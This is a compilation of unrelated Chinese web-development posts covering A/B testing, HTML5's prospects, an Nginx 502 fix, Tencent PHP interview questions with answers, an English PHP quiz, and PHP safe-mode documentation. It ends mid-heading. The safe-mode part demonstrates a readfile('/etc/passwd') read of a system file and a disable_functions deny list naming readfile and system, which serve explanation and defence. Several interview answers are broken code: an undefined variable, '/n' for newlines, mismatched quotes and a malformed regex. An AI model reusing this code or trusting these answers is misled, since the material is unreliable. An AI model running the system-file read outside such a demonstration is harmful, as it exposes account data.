A/B测试:基本概念
网站设计中,我们经常会面临多个设计方案的选择,比如某个按钮是用红色还是用蓝色,是放左边还是放右边。传统的解决方法通常是集体讨论表决,或者由 某位专家或领导来拍板,实在决定不了时也有随机选一个上线的。虽然传统解决办法多数情况下也是有效的,但A/B 测试(A/B Testing)可能是解决这类问题的一个更好的方法。
所谓 A/B 测试,简单来说,就是为同一个目标制定两个方案(比如两个页面),让一部分用户使用 A 方案,另一部分用户使用 B 方案,记录下用户的使用情况,看哪个方案更符合设计目标。当然,在实际操作过程之中还有许多需要注意的细节。
A/B 测试并不是互联网测试新发明的方法,事实上,自然界也存在着类似 A/B 测试的事件,比如下图中的达尔文雀 。
达尔文雀主要生活在太平洋东部加拉帕戈斯(Galapagos)的一个名为伊莎贝拉(Isabela)的岛上,一部分生活在岛的西部,另一部分生活在岛的东部,由于生活环境的细微不同它们进化出了不同的喙。这被认为是自然选择学说上的一个重要例证。
同样一种鸟,究竟哪一种喙更适合生存呢?自然界给出了她的解决方案,让鸟儿自己变异(多个设计方案),然后优胜劣汰。具体到达尔文雀这个例子上,不同的环境中喙也有不同的解决方案。
上面的例子虽然和网站设计无关,但包含了 A/B 测试最核心的思想,即:
1、多个方案并行测试;
2、每个方案只有一个变量(比如鸟喙)不同;
3、以某种规则优胜劣汰。
需要特别留意的是第 2 点,它暗示了 A/B 测试的应用范围,——必须是单变量 。有时我们的多个设计稿 可能会有非常大的差异,这样的情况一般不太适合做 A/B 测试,因为它们的变量太多了,变量之间会有较多的干扰,我们很难通过 A/B 测试的方法来找出各个变量对结果的影响程度。比如,土豆烧肉和豆腐鲫鱼汤都挺美味,但我们很难比较土豆和豆腐哪一个对菜的美味影响更大,而土豆烧肉和豆腐 烧肉则是不错的比较。另外,虽然 A/B 测试名字中只包含 A、B ,但并不是说它只能用于比较两个方案的好坏,事实上,你完全可以设计多个方案进行测试,“A/B 测试”这个名字只是一个习惯的叫法。
回到网站设计,一般来说,每个设计方案应该大体上是相同的,只是某一个地方有所不同,比如某处排版、文案、图片、颜色等。然后对不同的用户展示不同的方案。
要注意,不同的用户在他的一次浏览过程中,看到的应该一直是同一个方案。比如他一开始看到的是 A 方案,则在此次会话中应该一直向他展示 A 方案,而不能一会儿让他看 A 方案,一会儿让他看 B 方案。同时,还需要注意控制访问各个版本的人数,大多数情况下我们会希望将访问者平均分配到各个不同的版本上。要做到这些很简单,根据 cookie (比如 cookie 会话ID的最后一位数字)决定展示哪个版本就是一个不错的方法。
下面是 A/B 测试示意图:
可以看到,要实现 A/B 测试,我们需要做以下几个工作:
1、开发两个(或多个)不同的版本并部署;
2、收集数据;
3、分析数据,得出结果。
关于 A/B 测试的基本概念就介绍到这里,其余部分我会在后续文章中继续介绍。
为什么AB测试
很多朋友都问我怎么进行A/B测试,我一般都不直接回答他们的问题,而是首先问一句:“你的日IP是多少?”。当对方的回答是不到一百的时候,我一般都说这个没必要了解。
或许你会纳闷,为什么日IP少的站没必要了解A/B测试,原因很简单,A/B测试需要大量的IP,如果你的IP只有十几个,那么测试出来的数据很可能不是很准确,换句话说A/B测试的站日流量越大测试的结果越准确。
好了,说了这么多,还是把A/B测试跟大家谈谈吧。
举个简单的例子,当你有一个日IP过千的网站,而你的网站首页几百年没有更改了,这个时候你想启用新的网页,而你有害怕新的页面用户不一定就非常喜欢,那 么这个时候你就需要进行A/B测试了。测试的方法是将老页面定义为A页面,新页面定义为B页面。到谷歌网站优化工具申请进行A/B测试(免费的),这是时 候谷歌会给你一串代码,我们只需要将代码添加到谷歌要求的页面即可。
代码添加完毕,如果有一千个用户访问你的网站,那么会有500个用户看到A页面,500个用户看到B页面,这个时候再统计下通过A页面到达网站内页的用户 占的百分比是多少,通过B页面到达内页的用户占的百分比是多少。假设A的是6%,B的是20%那么恭喜你,这说明你新设计的页面是博得了用户的欢心。如果 你对20%的结果还不满意,那么继续修改你的页面,直到这个转化率不能够再提高为止。
A/B测试是一个科学的统计方法,这一统计的诞生,再也不用为了争吵是使用A图片好,还是使用B图片好,好不好,按照效果说算。还是邓爷爷说的好,实践是检验真理的唯一标准。停止争吵,来做个A/B测试吧。
前提是你要有上千的IP,而且还是每日。数据太小的话,往往不准确。
HTML5将重塑Web世界
HTML5将改变互联网的方方面面。Html5可能不会完全取代Flash,但它会重塑互联网,使浏览器无需借助插件就可以做更多的工作,从位置跟踪、视频播放到把云端的数据缓存到本地,最终能使互联网更安全、更高效、更灵活。
HTML5将重塑Web世界?
■ 乐天 编译
Adobe和Apple围绕
Flash发生的冲突是
今年上半年的一个焦点事件,引起了很多人的关注,其中有不少人因这一事件第一次了解到HTML5的存在。初次了解HTML5的人可能会非常惊讶,HTML5规范早在6年前就开始制定了,如今尽管HTML5规范草案已经非常好,但何时能真正成为标准却仍然不确定。
的确,HTML5规范制定委员会工作进展非常缓慢。因为关于如何改进浏览器和改进Web世界,不管是浏览器供应商还是其他人都有太多的想法,而这些都要汇聚到HTML5规范中并达成一致,这需要时间。许多新的标签和JavaScript函数尽管已经在一些浏览器上进行了实验,但互操作性和标准化问题还没有解决。比如,Apple所做的HTML5演示虽然令人印象深刻,但它们也只在Safari上运行良好。这就是为什么Flash的支持者嘲笑HTML5要把Web带回到2000年浏览器大战时代的原因。
虽然这种嘲笑可能让HTML5的支持者很伤心,而且漫长的等待的确很难熬,但如果就此忽略HTML5却是不对的。因为在HTML5的背后不仅有行业巨头的推动,更为重要的是,标准化是IT技术发展的必然趋势。就软件而言,不论是浏览器还是相关的开发工具,都会不断吸纳周围的各种技术,最后对其进行标准化,这是技术发展的必然规律。
可以肯定的是,HTML5将改变互联网的方方面面,显然它不会完全取代Flash,但HTML5的确会重塑互联网,使浏览器无需借助插件就可以做更多的工作,从位置跟踪到把数据保存到云端。HTML5的标签将取代那些完成比较简单任务的插件,至少在某些时候,它可以把一些高级的功能开发给更多的用户。最终它可能使互联网更安全、更高效、更灵活。
那么,即将成为新标准的HTML5到底会把我们带向哪里?下面收集了开发者、程序员以及设计师的一些看法,从中可以了解到HTML5如何改变互联网。
降低插件的重要性
从前,Web世界是非常欢迎浏览器插件的,因为它鼓励创新的想法和大胆实验,而声音、动画及其他一些非常生动的网页,通过Sun、Adobe、RealAudio、微软以及其他的一些公司开发的插件第一次在网络呈现时也的确让人耳目一新。然而,问题很快就出现了,插件的接口是向所有人开放的,每个人都在尝试给旧的、以文本为基础的世界增加新的功能,混乱不可避免。其中最有名的插件就是Flash,其他类似的插件更是数不胜数。
出于多种原因,Apple禁止Adobe的Flash在自己的平台上运行,这使得广大Apple迷们不能在Apple平台上看到Flash,而HTML5的流行将让这种冲突不再出现,它将逐步淘汰那些相对封闭的开发体系:JavaFX的功能可能真的很强大,但既然JavaScript和Canvas对象就能做同样的工作,为什么还要学习另一种语法?如果video标签能将音视频同步,谁需要Real的生态系统?
那么,插件真的会全部消失吗?也许吧,但这要取决于你想做的事情。如果你的目标只是绘制图像,那么Canvas对象可能就够用了。但如果你想建立一个专业的3D世界,正如在复杂的Flash和Shockwave游戏中所看到的那样,你可能还得依赖专有的插件技术,因为这些插件技术可以直接访问视频硬件,运行3D游戏。
支持动态生成图像
过去,网页中显示的图像来自于直接下载的GIF或JPG图像,而在HTML5中,图像可能并不是直接来自图像文件,而是由某个Canvas(画布)对象临时生成的。网络上已经出现了大量的非常好的图形库,这些图形库的存在使得动态生成图像更加容易。
如今,JavaScript层可以根据数据进行计算然后绘制出图形。如果软件开发商有足够的时间和人才的话,完全可以让网络上的一切变得更加生动,而纯文本内容越来越少。Flash只是一个开端,HTML5环境让Web开发人员更易于开发出复杂的图像。市场已经出现了一些类似的工具,它们将进一步提高Web开发人员驾驭图像的能力,而且随着工具的成熟,开发人员也将开发出更多更为专业的复杂图形。
这里可能存在的一个问题是,这种图像的处理可能会给客户端处理器带来很大负担,比如对客户端的处理器处理能力有一定要求。在过去,一些开发人员根本不敢用Flash插件,因为渲染和展现Flash内容可能会给处理器带来很大压力,极大地影响用户的最终体验。未来这不应该成为问题,开发者不应该因担心影响性能就不让用户体验生动的图像,只是开发者应该做出一个折中的选择。每一个抱怨Flash影响性能的人都应该知道,这与技术本身没有关系,问题来自设计师们为了吸引我们的注意力,他们过多地使用了这项技术。
允许Web程序
利用本地存储
Web程序员其实早就可以利用浏览器端的本地存储空间存储很多信息,比如IE允许最多300个Cookie,最多存储4096个字节的内容。不过,要开发真正实用的Web程序,可能需要比这更多的存储空间。比如,以前的Dojo工具包使用Flash插件来分配用户硬盘上的部分空间,把它留给浏览器使用,而现在很简单了,使用HTML5就可以达到同样的目的。
对于这部分存储,程序员可以按照自己的需要任意使用,比如把云服务的应用和数据保存在本地硬盘上。这也使得云应用的交付、安装和部署都非常像传统的应用程序。比如,无论是否有互联网连接,云应用程序都可以照常运行,因为之前已经从服务器上下载了HTML5应用的JavaScript代码,这部分代码就保存在本地。
当然,这种技术的应用并不会影响云应用的普及,因为现在的运行模式与过去有很大不同,本地数据库实际上扮演的是智能缓存的作用。另外,游戏开发人员可以在本地存储一些情景信息和装备信息,这样可避免每次一连机就要下载这些信息,省了下载资料的时间。而不利的方面就是这些数据库深埋在系统文件夹之中,这样,进行数据备份时就变得非常复杂。用户如果想把数据从一台机器迁移到另一台机器,数据迁移工作可能就会变得更为复杂。
或许混合云的出现可能解决这一问题,混和云允许云端和本地都保存有数据,而本地计算机只是缓存数据,最终版本保存在云中,这样从任意一台计算机上就可以访问到。
简化Web开发中的
数据提取
曾从网页中提取过数据的Web开发人员都知道,现有的HTML结构除了告诉浏览器这些信息在哪里之外,几乎不能再提供任何有意义的信息。而开发人员需要了解与数据本身有关的信息,这些信息能帮助程序员了解这些数据的真正含义。 HTML5中所谓的微格式(Microformat)引入了一种新的机制,它在HTML中新增了一些专门的标签,可以帮助程序员分析标签之中的数据的真实含义。
没有人能够预测微格式到底将带给网络多少改变,但很容易看出,这种新的机制将给程序员带来很大方便,帮助程序员开发出更有效率的Web应用。比如,如果有一个好的、标准的方式来表示日期和时间,那么程序员在为网站开发与时间有关的Web程序时,就无需另外编写专门的代码来分析或者猜测别人可能用的什么时间格式。这样,日历、时间表、日程安排等需要从多个数据源收集时间信息的应用也就变成非常简单的工作了。
支持位置服务
在Web世界里,过去我们只知道其IP地址,那些数字对应着一个什么样的真实世界我们根本不知道。比如,某台电脑究竟在哪里,过去几乎不可能知道,而现在出现的位置服务可以解决这个问题。HTML5标准中允许JavaScript询问浏览器用户的地理位置,比如纬度和经度信息。通常桌面系统不支持这一功能(因为需要有GPS或Wi-Fi),但如果终端是手持智能手机,这个功能就可以发挥作用。
今天,没有人能知道聪明的程序员会基于这些位置信息创建出什么应用来,但有一点可以肯定,未来一定可能以一种变幻莫测和难以置信的方式将把虚拟世界与现实世界整合到一起。
让Web视频
播放更流畅
HTML5中的“video”标签使Web开发人员很容易地把视频内容与网页中的其他内容整合起来,也让那些从事jQuery和PHP开发的人员可以加入到Web开发队伍中,使得Web开发不再仅仅是Flash、Silverlight和JavaFX开发人员的专利。
尽管这一设想看起来很诱人,但面临的困难依然不少,因为HTML5标准中没有指定任何编解码器,而每个人都想发布自己的视频和声音编解码器。这就意味着我们用一种混乱取代另一个混乱:只是过去我们把嵌入到浏览器中的软件称为插件,而今天把它称为编解码器而已。因此,今天我们虽然有了一个标准的“video”标签,但浏览器可能知道也可能不知道到底如何解释这些视频内容。
在洛杉矶任教的HTML5应用开发讲师Erich Ocean认为编解码器的战争仍在继续。“计算机开发人员和Mozilla组织如果认为他们能为视频专业人士制定视频标准,那就大错特错了。”他说,“我们看到谷歌的新视频格式在一些地方得到了使用,比如在YouTube网站,但永远不会像H.264那样普及。”
尽管视频播放可能面临比较混乱的局面,因为无法让大家达成一致,但是新的“video”标签肯定会让互联网视频内容越来越丰富,网页将成为视频内容的主要发布源地,而同时单纯的文字内容也会越来越少。只是这对孩子的教育未必是好事,因为现在的孩子们变得越来越习惯于看动画,而很少花时间来阅读,更别提书写了。
Widget将更丰富
在IFrame中运行的Widget让网页可以把其他网站的内容(比如天气预报)嵌入进来,非常实用也非常受欢迎,但由于安全方面的原因,这些Widget一直运行在一个相对独立的环境中,与网页中的其他内容基本保持隔离状态。
而HTML5为这些Widget提供了一个相互通信的标准机制。尽管它们仍然不能够相互进入对方的运行环境中,但它们已经可以相互发送信息来协同工作了。
广告商对此早就期盼已久,它们非常希望能把分散到同一个网页各个位置的旗帜广告整合起来,而从开发的角度来说,开发人员也一定会找到其他实际用途。例如,在Web页面上播放的网球比赛画面可以和左右两边的球员信息同步起来,这在HTML 1.0时代是难以想象的。
不过,可以发送信息、相互通信机制只是一个开始,下一个亟待解决的是通信协议的问题,因为至今还没有这方面的一个标准。只有为传递信息设立一个标准后,两个不同开发团队开发出来的Widget之间才有可能相互通信。换句话说,通信双方需要更多的标准词汇。
提高浏览器的
安全性
每个浏览器插件都是一个单独的应用程序,不同的浏览器插件是由不同的程序员按照不同的标准开发的,发布时间不同,安全模式也不同。很自然地,有些插件会比其他的更安全。随着浏览器中的插件越来越多,要跟踪每个浏览器插件中可能存在的安全漏洞越来越复杂。比如,你企业中去年年末某个时候的安全漏洞到底是出在插件还是浏览器,最后是通过升级浏览器而不是升级插件来解决的还是反过来,可能很难有人记得那么清楚。
把很多功能内置到HTML5而不是使用插件可以大大降低安全风险,避免与插件开发有关的多个环节出现问题,更可以防止有人故意利用插件中的API安装恶意代码。因为相对而言,Firefox、Chrome或IE浏览器等的安全性通常会经过更多的人(包括安全小组)的审计,如果安全小组认为某个浏览器安全,一般来说,其安全风险肯定要少得多。
不过,这里所说的安全性有所改善带有一定程度的主要臆测。这个世界总会有一些人把它们的聪明才智用到“邪道”上,他们完全可能利用HTML5的某种特性来从事一些恶意行为。只是现在没有人能够预测HTML5的新功能中到底可能隐藏着哪些危险。
简化Web开发
在一家Web软件开发公司工作的开发人员的话很有代表性,它简明扼要地阐述了HTML5可能带来的变化。他说:“我更喜欢HTML5,主要是因为它使我能够在一个统一的开发环境下进行开发,这个环境就是浏览器加JavaScript再加上DOM,而不必在Flash世界和HTML5的世界之间来回切换。未来只要掌握一门开发语言和一个工具集,就可以开发任何插件。”
他补充说,“我认为,对于用户而言好处也是很明显的,而现在Flash仿佛在互联网世界里另外创立了一片天地。”
的确,HTML5采用了统一的语言(JavaScript)、统一的数据模型(XML和DOM)和统一的表现规则(CSS)来表现文本、音频、视频和图形,对于开发者而言无疑的是非常理想的,基于一个统一的标准开发环境,工作肯定会简单不少。但要让一切都成为现实挑战仍然是巨大的,一个突出问题是工具的缺乏,现在HTML5的相关工具方面还很少。不可否认,Flash的流行与Adobe为Flash的开发提供了非常好用的工具密不可分。
链 接
HTML的演进历程
HTML全称是超文本标示语言(Hypertext Markup Language),是用来描述网页的一种规范。正是这些容纳在尖括号里的简单标签,构成了如今的 Web。
HTML的第一个官方版本是由IETF (互联网工程任务组) 推出的 HTML 2.0。后来,W3C 取代 IETF 的角色,成为HTML标准制订的组织,上个世纪90年代的后半叶,HTML 的版本被频繁修改,直到1999年的HTML 4.01,至此,HTML到达了它的第一个巅峰。
HTML在HTML 4.01 之后的第一个修订版本就是 XHTML 1.0,其中X代表 “eXtensible”。 XHTML 1.0 是基于HTML 4.01 的,并没有引入任何新标签或属性,唯一的区别是语法,HTML对语法比较随便,而XHTML则要求XML般的严格语法。后来,W3C又推出了XHTML 1.1。
对 W3C 而言,到了 HTML 4已经是功德圆满,他们的下一步工作是XHTML 2.0,希望将Web带向XML的光明未来。然而,来自Opera、Apple以及 Mozilla 的代表不满意W3C的工作,他们自发组织成立了超文本应用技术工作组,这就是WHATWG,他们致力于HTML5 规范。
在WHATWG致力于HTML5的同时,W3C继续他们的XHTML 2.0。不过,W3C在XHTML 2.0方面的工作慢慢地陷入困境,后来终止了XHTML 2.0的工作,并于2007年组建了一个新的HTML工作组,他们非常明智地选择了 WHATWG 的成果作为基础,致力于制订HTML5规范。
经过多年的酝酿,HTML5的草案于2008年发布,目前W3C正在对它进行进一步完善。现在,关于HTML5何时会正式成为标准还没有一个明确的说法。好消息是,2012年HTML5可能会被接纳为候选标准。不过,可以预料的是,HTML5无论何时能成为标准,HTML5要被所有浏览器提供商所接纳肯定是一个比较长期的过程。
用户不上你的网站的50个原因
原因如下:
1 他们不想生产内容,他们期望的是更好的生活
2 因为你能解决的问题是他们所没有的问题
3 而对于他们真正的问题你却无法解决
4 奥普拉没有提到过它
5 他们所认识的所有人都不上你的网站
6 你没有办法让他们窥视自己所喜欢的人
7 他们对自己所看见的并不在乎
8 没有哪个同事说应该上这个网站
9 它很没趣
10 它无法让人们开怀大笑
11 它没有办法帮人们省下一大笔钱
12 它没有办法帮人们节省时间
13 没有什么让他们感到激动万分的东西
14 它既不能拯救生命也不能拯救世界
15 它不像赌城那样充满刺激
16 它看上去像是花旗银行的广告,而人们憎恨它
17 没有人排队
18 他们又工作,有孩子,工作繁忙
19 因为他们和美国偶像节目的选手有约会
20 他们害怕电脑
21 他们有了足够的朋友
22 他们文笔不好
23 更多的人在用Craiglist
24 你没有告诉他们怎么去做
25 不上这个网站,没有人会认为他是白痴
26 它是为了怪人和白痴准备的
27 它肯定是为了那些“电脑高手”准备的
28 有人会盗窃他们的身份而诱拐其孩子
29 他们不明白你的专业术语
30 他们更擅长于让那些让你感到无能为力的事
31 他们出生于1985年以前
32 他们对电脑并不精通
33 他们很害羞
34 他们不像Yahoo, Amazon或者Ebay那样
35 它的主页不止一屏,不像Google那样
36 他们感觉沮丧
37 他们不想坐在电脑面前
38 他们尝试过使用它,但是结果一团糟
39 他们从来就没有听过它
40 他们有更重要的事情要做
41 周刊更吸引人
42 它上面写着什么”tag”,”RSS”,简直愚蠢透顶
43 家庭和朋友需要他们
44 他们不想过的那么沉闷
45 他们从来没有听说过Flickr和Del.icio.us
46 没有足够的人使用它,也没有成功的例子
47 没有暴露图片和名人消息
48 没有告诉他们为什么要用它
49 它不能提供给他们爱情和性
50 他们不想知道你想让他们做什么
解决Nginx + PHP(FastCGI)遇到的502 Bad Gateway错误
由于服务器版本的不稳定,将Nginx的程序迁移到Apache执行
昨日,有朋友问我,他将Web服务器换成Nginx 0.6.31 + PHP 4.4.7(FastCGI)后,有时候访问会出现“502 Bad Gateway”错误,如何解决。
我让按照以下两个步骤去解决,最后在第2步中将FastCGI的timeout时间增加为300,问题解决:
PS:比较羡慕迅雷的Web服务器,16G内存。
1、查看当前的PHP FastCGI进程数是否够用:
netstat -anpo | grep "php-cgi" | wc -l
如果实际使用的“FastCGI进程数”接近预设的“FastCGI进程数”,那么,说明“FastCGI进程数”不够用,需要增大。
2、部分PHP程序的执行时间超过了Nginx的等待时间,可以适当增加nginx.conf配置文件中FastCGI的timeout时间,例如:
http
{
......
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
......
}
......
腾讯面试题PHP
1. 请对POSIX风格和兼容Perl风格两种正则表达式 的主要函数 进行类比说明
ereg preg_match
ereg_replace preg_replace
2. 请说明在PHP.ini中safe_mode开启之后对于PHP 系统 函数的影响
3. PHP5中魔术方法函数有哪几个,请举例说明各自的用法
__sleep
__wakeup
__toString
__set_state
__construct,
__destruct
__call,
__get,
__set,
__isset,
__unset
__sleep,
__wakeup,
__toString,
__set_state,
__clone
__autoload
4. 请写出让,并说明如何在命令行下运行PHP脚本(写出两种方式)同时向PHP脚本传递参数?
5. PHP的垃圾收集机制是怎样的
6.使对象可以像数组一样进行foreach循环,要求属性必须是私有。
(Iterator模式的PHP5实现,写一类实现Iterator接口)
7.请写一段PHP代码 ,确保多个进程同时写入同一个文件 成功
8. 用PHP实现一个双向队列
9. 使用正则 表达式提取一段标识语言(html 或xml )代码段中指定标签的指定属性值(需考虑属性值对不规则的情况,如大小写不敏感,属性名值与等号间有 空格等)。此处假设需提取test标签的attr属性值,请自行构建包含该标签的串
<test attr=”ddd”>
<test attr/s*=/s*[“ ?’](.*?)[” ?’].*?>
10.请使用socket相关函数(非curl)实现如下功能 :构造一个post 请求,发送到指定http server的指定端口的指定请求路径(如http://www.example.com:8080/test )。请求中包含以下变量:
用户名(username):温柔一刀
密码(pwd):&123=321&321=123&
个人简介(intro):Hello world!
且该http server需要以下cookie来进行简单的用户动作跟踪:
cur_query:you&me
last_tm:...(上次请求的unix时间 戳,定为当前请求时间前10分钟)
cur_tm:...(当前请求的unix时间戳)
设置超时为10秒,发出请求后,将http server的响应内容输出。复制内容到剪贴板代码:Function encode($data, $sep = ‘&’){
while (list($k,$v) = each($data)) {
$encoded .= ($encoded ? "$sep" : "");
$encoded .= rawurlencode($k)."=".rawurlencode($v);
}
Return $encoded;
}
Function post($url, $post, $cookie){
$url = parse_url($url);
$post = encode($data, ‘&’);
$cookie = encode($cookieArray, ‘;’);
$fp = fsockopen($url['host'], $url['port'] ? $url['port'] : 80, $errno, $errstr, 10);
if (!$fp) return "Failed to open socket to $url[host]";
fputs($fp, sprintf("POST %s%s%s HTTP/1.0/n", $url['path'], $url['query'] ? "?" : "", $url['query']));
fputs($fp, "Host: $url[host]/n");
fputs($fp, "Content-type: application/x-www-form-urlencoded/n");
fputs($fp, "Content-length: " . strlen($encoded) . "/n");
fputs($fp, "Cookie: $cookie/n/n");
fputs($fp, "Connection: close/n/n");
fputs($fp, "$post /n");
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
$url = ‘http://www.example.com:8080/test ’;
$encoded = username=温柔一刀& pwd=
$post = array(
‘username’=> ‘温柔一刀’,
‘pwd => ‘&123=321&321=123&’,
‘intro => ‘Hello world!’
);
$cookie = array(
‘cur_query’ => ‘you&me,
‘last_tm’ => time() - 600,
‘cur_tm ‘=> time()
);
Post($url, $post, $cookie);
11.你用什么方法检查PHP脚本的执行效率(通常是脚本执行时间)和数据库 SQL 的效率(通常是数据 库Query时间),并定位和分析脚本执行和数据库查询 的瓶颈所在?
1.脚本执行时间,启用xdebug,使用WinCacheGrind分析。
2.数据库查询,MySQL 使用EXPLAIN分析查询,启用slow query log记录慢查询。
PHP LAMP Engineer Test Paper
Question 1
What does <? echo count ("123") ?> print out?
A) 3
B) False
C) Null
D) 1
E) 0
Question 2
Which of the following snippets prints a representation of 42 with two decimal places?
A) printf("%.2d/n", 42);
B) printf("%1.2f/n", 42);
C) printf("%1.2u/n", 42);
Question 3
Given
$text = 'Content-Type: text/xml';
Which of the following prints 'text/xml'?
A) print substr($text, strchr($text, ':'));
B) print substr($text, strchr($text, ':') + 1);
C) print substr($text, strpos($text, ':') + 1);
D) print substr($text, strpos($text, ':') + 2);
E) print substr($text, 0, strchr($text, ':')
Question 4
What is the value of $a?
<?php
$a = in_array('01', array('1')) == var_dump('01' == 1);
?>
A) True
B) False
Question 5
What is the value of $result in the following PHP code?
<?php
function timesTwo($int) {
$int = $int * 2;
}
$int = 2;
$result = timesTwo($int);
?>;
Answer: NULL
Question 6
The code below ___________ because ____________.
<?php
class Foo {
?>
<?php
function bar() {
print "bar";
}
}
?>
A) will work, class definitions can be split up into multiple PHP blocks.
B) will not work, class definitions must be in a single PHP block.
C) will not work, class definitions must be in a single file but can be in multiple PHP blocks.
D) will work, class definitions can be split up into multiple files and multiple PHP blocks.
Question 7
When turned on, ____________ will _________ your script with different variables from HTML forms and cookies.
A) show_errors, enable
B) show_errors, show
C) register_globals, enhance
D) register_globals, inject
Question 8
What will be the output of the following PHP code:
<?php
echo count(strlen("http://php.NET"));
?>
Answer: 1
Question 9
What is the best all-purpose way of comparing two strings?
A) Using the strpos function
B) Using the == operator
C) Using strcasecmp()
D) Using strcmp()
Question 10
What is the difference between "print()" and "echo()"?
Answer: print is a function,echo is a language construct
http://www.blankyao.cn/blog/php-jobs.html
php中的安全模式?
被安全模式限制或屏蔽的函数
PHP 的安全模式是为了试图解决共享服务器(shared-server)安全问题而设立的。在结构上,试图在 PHP 层上解决这个问题是不合理的,但修改 WEB 服务器层和操作系统层显得非常不现实。因此许多人,特别是 ISP,目前使用安全模式。
表格 24-1. 控制安全模式的设置选项有:
设置选项 默认值
safe_mode Off
safe_mode_gid 0
safe_mode_include_dir ""
safe_mode_exec_dir 1
open_basedir ""
safe_mode_allowed_env_vars PHP_
safe_mode_protected_env_vars LD_LIBRARY_PATH
disable_functions ""
当 safe_mode 设置为 on,PHP 将检查当前脚本的拥有者是否和将被文件函数操作的文件的拥有者相匹配。例如: -rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php
-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd
运行 script.php
<?php
readfile('/etc/passwd');
?>
如果安全模式被激活,则将会导致以下错误: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
同 时,或许会存在这样的环境,在该环境下,宽松的 GID 检查已经足够,但严格的 UID 检查反而是不适合的。您可以用 safe_mode_gid 选项来控制这种检查。如果设置为 On 则进行宽松的 GID 检查;设置为 Off(默认值)则进行 UID 检查。
除了 safe_mode 以外,如果您设置了 open_basedir 选项,则所有的文件操作将被限制在您指定的目录下。例如:
<Directory /docroot>
php_admin_value open_basedir /docroot
</Directory>
如果您在设置了 open_basedir 选项后运行同样的 script.php,则其结果会是: Warning: open_basedir restriction in effect. File is in wrong directory in
/docroot/script.php on line 2
您 也可以单独地屏蔽某些函数。请注意 disable_functions 选项不能在 php.ini 文件外部使用,也就是说您无法在 httpd.conf 文件的按不同虚拟主机或不同目录的方式来屏蔽函数。 如果我们将如下内容加入到 php.ini 文件: disable_functions readfile,system
则我们会得到如下的输出: Warning: readfile() has been disabled for security reasons in
/docroot/script.php on line 2
被安全模式限制或屏蔽的函数
以下安全模式列表可能不完整或不正确。
表格 24-2. 安全模式限制函数
函数名 限制
dbmopen() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
dbase_open() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
filepro() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
filepro_rowcount() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
filepro_retrieve() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
ifx_*() sql_safe_mode 限制, (!= safe mode)
ingres_*() sql_safe_mode 限制, (!= safe mode)
mysql_*() sql_safe_mode 限制, (!= safe mode)
pg_loimport() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
posix_mkfifo() 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
chdir() 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
dl() 该函数在安全模式中已被屏蔽。
backtick operator 该函数在安全模式中已被屏蔽。
shell_exec()(在功能上和 backticks 函数相同) 该函数在安全模式中已被屏蔽。
exec() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
system() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
passthru() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
popen() 您只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。
mkdir() 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
rmdir() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
rename() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
unlink() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
copy() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (on source and target)
chgrp() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
chown() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
chmod() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 另外,您不能设置 SUID、SGID 和 sticky bits
touch() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。
symlink() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意:仅测试 target)
link() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意:仅测试 target)
getallheaders() 在安全模式下,以“authorization”(区分大小写)开头的头信息将不会被返回。警告:getallheaders() 无法在 aol-server 下实现!
header() 在安全模式下,如果您设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该头信息的 realm 部分。
highlight_file(), show_source() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意,仅在 4.2.1 版本后有效)
parse_ini_file() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。 将检查您将要操作的目录和正在执行的脚本是否有相同的 UID。 (注意,仅在 4.2.1 版本后有效)
任何使用 php4/main/fopen_wrappers.c 的函数 ??
PHP安全配置
一、Web服务器安全
